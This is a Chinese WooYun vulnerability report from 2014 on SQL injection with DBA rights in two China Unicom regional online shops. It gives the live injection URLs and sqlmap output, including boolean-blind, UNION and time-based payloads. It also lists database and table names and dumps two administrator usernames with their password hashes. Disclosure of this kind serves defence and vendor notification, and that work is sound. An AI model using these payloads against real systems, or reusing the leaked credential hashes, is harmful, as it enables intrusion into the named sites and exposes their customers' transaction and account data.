当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052854

漏洞标题：中国联通分站多处注入DBA权限

相关厂商：中国联通

漏洞作者： HackBraid

提交时间：2014-03-05 14:46

修复时间：2014-04-19 14:47

公开时间：2014-04-19 14:47

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-05： 细节已通知厂商并且等待厂商处理中
2014-03-10： 厂商已经确认，细节仅向厂商公开
2014-03-20： 细节向核心白帽子及相关领域专家公开
2014-03-30： 细节向普通白帽子公开
2014-04-09： 细节向实习白帽子公开
2014-04-19： 细节向公众公开

简要描述：

注入注入...

详细说明：

注入点：
1.http://linxi.gov.cn/test.php?id=547 邢台联通官方网上商城
2.http://www.75510010.com/adv/sz10010.aspx?sid=201402131635442602 深圳联通网上商城（公开未修复）

漏洞证明：

1.http://linxi.gov.cn/test.php?id=547
DBA：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=547 AND 2532=2532
    Type: UNION query
    Title: MySQL UNION query (NULL) - 12 columns
    Payload: id=547 UNION ALL SELECT NULL,CONCAT(0x71767a7371,0x50726c596d6765475973,0x71696d6371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=547 AND SLEEP(5)
---
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0.11
current user is DBA:    True


139个table，涉及交易记录，超级管理员账户和密码：

Database: xtlt10010
[139 tables]
+------------------------------+
| xt10010_activity             |
| xt10010_activity_detail      |
| xt10010_address              |
| xt10010_admin                |
| xt10010_adv                  |
| xt10010_adv_click            |
| xt10010_adv_position         |
| xt10010_album_class          |
| xt10010_album_pic            |
| xt10010_article              |
| xt10010_article_class        |
| xt10010_attribute            |
| xt10010_attribute_value      |
| xt10010_brand                |
| xt10010_cart                 |
| xt10010_complain             |
| xt10010_complain_goods       |
| xt10010_complain_subject     |
| xt10010_complain_talk        |
| xt10010_consult              |
| xt10010_coupon               |
| xt10010_coupon_class         |
| xt10010_daddress             |
| xt10010_document             |
| xt10010_evaluate_goods       |
| xt10010_evaluate_goodsstat   |
| xt10010_evaluate_store       |
| xt10010_evaluate_storestat   |
| xt10010_express              |
| xt10010_favorites            |
| xt10010_flowstat_1           |
| xt10010_flowstat_2           |
| xt10010_flowstat_3           |
| xt10010_flowstat_4           |
| xt10010_flowstat_5           |
| xt10010_gold_buy             |
| xt10010_gold_log             |
| xt10010_gold_payment         |
| xt10010_goods                |
| xt10010_goods1               |
| xt10010_goods_attr_index     |
| xt10010_goods_class          |
| xt10010_goods_class1         |
| xt10010_goods_class_staple   |
| xt10010_goods_class_tag      |
| xt10010_goods_group          |
| xt10010_goods_spec           |
| xt10010_goods_spec_index     |
| xt10010_groupbuy_area        |
| xt10010_groupbuy_class       |
| xt10010_groupbuy_price_range |
| xt10010_groupbuy_template    |
| xt10010_inform               |
| xt10010_inform_subject       |
| xt10010_inform_subject_type  |
| xt10010_link                 |
| xt10010_mail_msg_temlates    |
| xt10010_map                  |
| xt10010_member               |
| xt10010_message              |
| xt10010_navigation           |
| xt10010_order                |
| xt10010_order1               |
| xt10010_order_address        |
| xt10010_order_goods          |
| xt10010_order_log            |
| xt10010_p_bundling           |
| xt10010_p_bundling_goods     |
| xt10010_p_bundling_quota     |
| xt10010_p_mansong            |
| xt10010_p_mansong_apply      |
| xt10010_p_mansong_quota      |
| xt10010_p_mansong_rule       |
| xt10010_p_xianshi            |
| xt10010_p_xianshi_apply      |
| xt10010_p_xianshi_goods      |
| xt10010_p_xianshi_quota      |
| xt10010_payment              |
| xt10010_points_cart          |
| xt10010_points_goods         |
| xt10010_points_log           |
| xt10010_points_order         |
| xt10010_points_orderaddress  |
| xt10010_points_ordergoods    |
| xt10010_predeposit_cash      |
| xt10010_predeposit_log       |
| xt10010_predeposit_recharge  |
| xt10010_rec_position         |
| xt10010_recommend            |
| xt10010_recommend_goods      |
| xt10010_refund_log           |
| xt10010_return               |
| xt10010_return_goods         |
| xt10010_salenum              |
| xt10010_seo                  |
| xt10010_setting              |
| xt10010_sns_albumclass       |
| xt10010_sns_albumpic         |
| xt10010_sns_binding          |
| xt10010_sns_comment          |
| xt10010_sns_friend           |
| xt10010_sns_goods            |
| xt10010_sns_membertag        |
| xt10010_sns_mtagmember       |
| xt10010_sns_s_autosetting    |
| xt10010_sns_s_comment        |
| xt10010_sns_s_tracelog       |
| xt10010_sns_setting          |
| xt10010_sns_sharegoods       |
| xt10010_sns_sharestore       |
| xt10010_sns_tracelog         |
| xt10010_sns_visitor          |
| xt10010_spec                 |
| xt10010_spec_value           |
| xt10010_store                |
| xt10010_store_class          |
| xt10010_store_class_goods    |
| xt10010_store_extend         |
| xt10010_store_goods_class    |
| xt10010_store_grade          |
| xt10010_store_gradelog       |
| xt10010_store_navigation     |
| xt10010_store_partner        |
| xt10010_store_watermark      |
| xt10010_transport            |
| xt10010_transport_extend     |
| xt10010_type                 |
| xt10010_type_brand           |
| xt10010_type_spec            |
| xt10010_upload               |
| xt10010_voucher              |
| xt10010_voucher_apply        |
| xt10010_voucher_price        |
| xt10010_voucher_quota        |
| xt10010_voucher_template     |
| xt10010_web                  |
| xt10010_web_code             |
| xt10010_ztc_glodlog          |
| xt10010_ztc_goods            |
+------------------------------+


管理员账户：

Table: xt10010_admin
[2 entries]
+----------+------------+----------------+----------------------------------+
| admin_id | admin_name | admin_is_super | admin_password                   |
+----------+------------+----------------+----------------------------------+
| 1        | xtlld10010 | 1              | e63e6a0a6c8c852d005fc137d0fba214 |
| 2        | xt10010    | 0              | 65110e5d596e180f7e5b1a127bc3c5a8 |
+----------+------------+----------------+----------------------------------+


2.http://www.75510010.com/adv/sz10010.aspx?sid=201402131635442602
DBA权限：

current user is DBA:    True


24个数据库：

available databases [24]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HUDBS
[*] LT_TEST_0924_DB
[*] LYQ
[*] MDSYS
[*] NIEHX
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] QC
[*] QUALITYCENTER_DEMO_DB
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] UHUI
[*] UHUITEST
[*] WANGXF
[*] WMSYS
[*] XDB


交易信息，账户信息等敏感信息泄露：

Database: HUDBS
[262 tables]
+-------------------------------+
| BANK_ACCT_TMP                 |
| CODESMITH_EXTENDED_PROPERTIES |
| GPRS_MO                       |
| GPRS_MO_2009                  |
| H75510010_GROUP_CGWS          |
| H75510010_IP_LAB              |
| H75510010_JT_PRODUCT          |
| H75510010_SHOP_2GOLD          |
| H75510010_SHOP_ADV            |
| H75510010_SHOP_ADVCOUNT       |
| H75510010_SHOP_ADVCOUNTBAK    |
| H75510010_SHOP_AGENTLIST      |
| H75510010_SHOP_BAND           |
| H75510010_SHOP_BUYPHONE       |
| H75510010_SHOP_CARD           |
| H75510010_SHOP_CHECKCODE      |
| H75510010_SHOP_CHECKCODE_NO   |
| H75510010_SHOP_DOCUMENT       |
| H75510010_SHOP_FEETYPE        |
| H75510010_SHOP_GLOVE          |
| H75510010_SHOP_GROUPPRODUCT   |
| H75510010_SHOP_LAB            |
| H75510010_SHOP_LABNUMBER      |
| H75510010_SHOP_LANUSER        |
| H75510010_SHOP_LANUSER4M      |
| H75510010_SHOP_MALL           |
| H75510010_SHOP_NUMBER         |
| H75510010_SHOP_NUMBERFEE      |
| H75510010_SHOP_NUMBERMANAGER  |
| H75510010_SHOP_NUMBERTYPE     |
| H75510010_SHOP_NUMLAB         |
| H75510010_SHOP_OLDCUSTOMER    |
| H75510010_SHOP_PACKAGEPLAN    |
| H75510010_SHOP_PHONE          |
| H75510010_SHOP_PHONEDATA      |
| H75510010_SHOP_PHONETAB       |
| H75510010_SHOP_PRODUCT        |
| H75510010_SHOP_PRODUCTGROUP   |
| H75510010_SHOP_PUBLIC         |
| H75510010_SHOP_PUSHCODE       |
| H75510010_SHOP_PUSHLAB        |
| H75510010_SHOP_TARGETMARKET   |
| H75510010_SHOP_TMALLPRODUCT   |
| H75510010_SHOP_TUAN           |
| H75510010_SHOP_UHUIPRODUCT    |
| H75510010_SHOP_UNIONINFO      |
| H75510010_SHOP_USERINFO       |
| H75510010_SHOP_WAP            |
| H75510010_SHOP_WAPSTATUS      |
| H75510010_UHZ_PRODUCTTYPE     |
| HENRY                         |
| HUZATEMP                      |
| HUZATEMP1                     |
| HUZATEST                      |
| HUZATEST2                     |
| H_75510010_10010NEWS          |
| H_75510010_AD_OPERATION       |
| H_75510010_AD_ROLE            |
| H_75510010_AD_ROLEOPT         |
| H_75510010_AD_SALEMARKET      |
| H_75510010_AD_USERDATA        |
| H_75510010_AD_USERINFO        |
| H_75510010_AD_USERINFO_1      |
| H_75510010_AD_USERROLE        |
| H_75510010_BIRTHDAYNUM        |
| H_75510010_BIRTHDAYUSERINFO   |
| H_75510010_DC                 |
| H_75510010_GROUPNUMBER        |
| H_75510010_GXNUM              |
| H_75510010_GXUSERINFO         |
| H_75510010_IPHONEVIP          |
| H_75510010_LOG                |
| H_75510010_NEWS               |
| H_75510010_ORDER              |
| H_75510010_PAYFEE             |
| H_75510010_PHONE              |
| H_75510010_PHONENUM           |
| H_75510010_PHONENUM_TYPE      |
| H_75510010_PRODUCTFILE        |
| H_75510010_PRODUCTLESSPAY     |
| H_75510010_PRODUCTPHONE       |
| H_75510010_RECORD             |
| H_75510010_REG                |
| H_75510010_SALE               |
| H_75510010_WM                 |
| H_75510010_WM_CHECKCODE       |
| H_75510010_YYNUM              |
| H_BDW_GPRS_DELETE             |
| H_BSS_ALL_RECORD              |
| H_BSS_RECORD                  |
| H_BUSI_CHECK                  |
| H_COMMISION                   |
| H_COMMISION_200907            |
| H_COMMISION_200908            |
| H_COMMISION_200909            |
| H_COMMISION_200910            |
| H_COMMISION_200911            |
| H_COMMISION_HIS               |
| H_COMMISION_TEMP              |
| H_DELNUMBER_TEMP              |
| H_DINNERTYPE                  |
| H_GPRS_ALL                    |
| H_GPRS_ALL_TEST               |
| H_H2_CODE                     |
| H_IVR_ALL                     |
| H_IVR_ALL_TEST                |
| H_LOG                         |
| H_MENU_INFO                   |
| H_MSG_MT                      |
| H_MSG_MT_2009                 |
| H_MSG_MT_HIS                  |
| H_OTHER_NUMBER                |
| H_SMS_ALL                     |
| H_SMS_ALL_TEST                |
| H_USER_ADMIN                  |
| H_USER_MENU                   |
| H_USER_MT_TMP                 |
| MICROSOFTDTPROPERTIES         |
| MT_MSG                        |
| MT_MSG_HIS                    |
| MUSE_TELEROUTER               |
| PLAN_TABLE                    |
| SMS_MO                        |
| TBLAUTHOR                     |
| TBLBANLIST                    |
| TBLBUDDYLIST                  |
| TBLCATEGORY                   |
| TBLCONFIGURATION              |
| TBLDATETIMEFORMAT             |
| TBLEMAILNOTIFY                |
| TBLFORUM                      |
| TBLGROUP                      |
| TBLGUESTNAME                  |
| TBLPERMISSIONS                |
| TBLPMMESSAGE                  |
| TBLPOLL                       |
| TBLPOLLCHOICE                 |
| TBLSMUT                       |
| TBLTHREAD                     |
| TBLTOPIC                      |
| TEMP_PREPAY_SMS_ALL           |
| TF_I_NUM_10010                |
| TMP_PREPAY_SMS_ALL            |
| T_4START_NUMBER               |
| T_ACCP_REG                    |
| T_ACCP_REG_BAK                |
| T_ACCP_REG_HUZA               |
| T_CARD_ALL                    |
| T_CJQQ_ALL                    |
| T_CJQQ_ALL_TMP                |
| T_CLERK_SMS_ALL               |
| T_COLORE_SMS_ALL              |
| T_COLORRING_SMS_ALL           |
| T_COLORRING_SMS_ALL_2005      |
| T_COLORRING_SMS_ALL_2006      |
| T_COLORRING_SMS_ALL_2007      |
| T_COLORRING_SMS_ALL_2008      |
| T_COMMISSION_ALL              |
| T_CPS_CUSTOMERPOINTS          |
| T_CPS_CUSTOMERREF             |
| T_CPS_CUSTOMERREF_TEMP        |
| T_CPS_ORDER                   |
| T_CPS_POINTRULE               |
| T_CPS_POINTSIMPORT            |
| T_CPS_PRODUCT                 |
| T_CPS_USEPOINTS               |
| T_C_FILELOAD                  |
| T_EC_CUSTOMER                 |
| T_EC_CUSTOMGROUPRULE          |
| T_EC_EMPCHANNELRIGHT          |
| T_EC_ESPDUTYTAB               |
| T_EC_ESPPOSTSDUTYTAB          |
| T_EC_ESPPOSTSTAB              |
| T_EC_H75510010_SHOP_CHANNEL   |
| T_EC_ORDERPAY                 |
| T_EC_ORGAN                    |
| T_EC_ORGEMP                   |
| T_EC_PICTURE                  |
| T_EC_SMSSSO                   |
| T_EC_SMSSSOTIMIT              |
| T_EC_USERPOST                 |
| T_EMAIL_LIST                  |
| T_EXECPROC_CYCLE              |
| T_EXECPROC_LIST               |
| T_FIELDS                      |
| T_FOGOTPASS                   |
| T_FTP_FILES                   |
| T_FTP_INFO                    |
| T_GPRS_ALL                    |
| T_GPRS_ALL_PK                 |
| T_GPRS_ALL_TMP                |
| T_G_USERTYPE                  |
| T_HG_GPRS_DEL                 |
| T_HG_GPRS_DEL1                |
| T_HUZA_TEMP                   |
| T_LDGJ_ALL_PK                 |
| T_MSG_MT                      |
| T_PAYMENT_SMS_ALL             |
| T_PAYMENT_SMS_ALL_BAK         |
| T_PREPAY_SMS_ALL              |
| T_PREPAY_SMS_ALL_20081130     |
| T_PREPAY_SMS_ALL_BACKUP       |
| T_PREPAY_SMS_ALL_BACKUP_2008  |
| T_PREPAY_SMS_ALL_BACKUP_2009  |
| T_PREPAY_SMS_ALL_BAK          |
| T_PREPAY_SMS_ALL_TMP          |
| T_PREPAY_SMS_TEMP             |
| T_PREPAY_UPDATETIME           |
| T_RESP_REASON                 |
| T_SMS_ALL                     |
| T_SMS_ALL_2006                |
| T_SMS_ALL_2007                |
| T_SMS_ALL_BAK                 |
| T_SMS_ALL_TEMP                |
| T_SMS_ALL_TEMP_HUZA           |
| T_SMS_SEQUENCE                |
| T_SPJILI_SMS_ALL              |
| T_TQYB_ALL_PK                 |
| T_USERTYPE                    |
| T_WAP_SMS_ALL                 |
| T_WEATHER_ALL                 |
| T_WEBCARDPRE_SMS_ALL          |
| T_WEBCARD_SMS_ALL             |
| Z_AGENT_ID                    |
| Z_AGENT_MENU                  |
| Z_BANK_ID                     |
| Z_BANK_RE_BILL                |
| Z_BLACKLIST                   |
| Z_BOSSINFO                    |
| Z_COMMENDER                   |
| Z_COMMENDER_20081204          |
| Z_CUST_RANGE                  |
| Z_DEPARTMENT                  |
| Z_DINNERCONTENT               |
| Z_DINNERTYPE                  |
| Z_DINNERTYPE_RUYI             |
| Z_MENU                        |
| Z_MESSAGE                     |
| Z_PREPAY_COMMENDER            |
| Z_PREPAY_COMMENDER_20081204   |
| Z_PREPAY_COMMENDER_20090408   |
| Z_PREPAY_COMMENDER_20090901   |
| Z_PROC_ROUTE_BUF              |
| Z_PROC_ROUTE_BUF_BAK          |
| Z_PROC_ROUTE_TEST             |
| Z_PROC_TYPE                   |
| Z_ROUTE_NO                    |
| Z_ROUTE_TABLE                 |
| Z_SP_INFO                     |
| Z_SUGGESTION                  |
| Z_USER_TYPE                   |
| Z_USER_WAGE                   |
| Z_USER_WAGED                  |
| Z_WAGE_REC                    |
| Z_WAGE_REC_CLERK              |
| Z_WAGE_REC_COLORE             |
| Z_WAGE_REC_COLORRING          |
| Z_WAGE_REC_PAYMENT            |
| Z_WAGE_REC_PREPAY             |
| Z_WAGE_REC_WAP                |
| Z_WAGE_REC_WEBCARD            |
| Z_WAGE_REC_WEBCARDPRE         |
+-------------------------------+

修复方案：

您懂！

版权声明：转载请注明来源 HackBraid@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-03-10 21:05

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT将多个实例通报给中国联通集团公司，由其后续下发对应省公司处置。

最新状态：

暂无